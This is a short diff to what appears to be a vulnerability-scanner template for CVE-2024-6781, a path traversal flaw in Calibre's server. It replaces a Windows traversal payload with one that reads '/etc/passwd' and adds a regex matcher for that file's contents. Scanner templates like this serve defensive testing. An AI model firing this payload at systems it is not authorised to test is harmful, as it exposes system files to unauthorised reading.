linux payload

http/cves/2024/CVE-2024-6781.yaml

@@ -34,7 +34,7 @@ http:
         Host: {{Hostname}}
         Content-Type: application/json
 
-        ["extra_file", {{book_ids}}, "..\\..\\..\\Calibre Settings\\gui.json", ""]
+        ["extra_file", {{book_ids}}, "../../../../../etc/passwd", ""]
 
     matchers-condition: and
     matchers:
@@ -43,11 +43,11 @@ http:
         words:
           - "application/json"
 
-      - type: word
+      - type: regex
         part: body
-        words:
+        regex:
-          - "No such file or directory:"
+          - 'root:.*:0:0:'
-          - "Traceback"
+          - '"result":'
         condition: and
 
       - type: status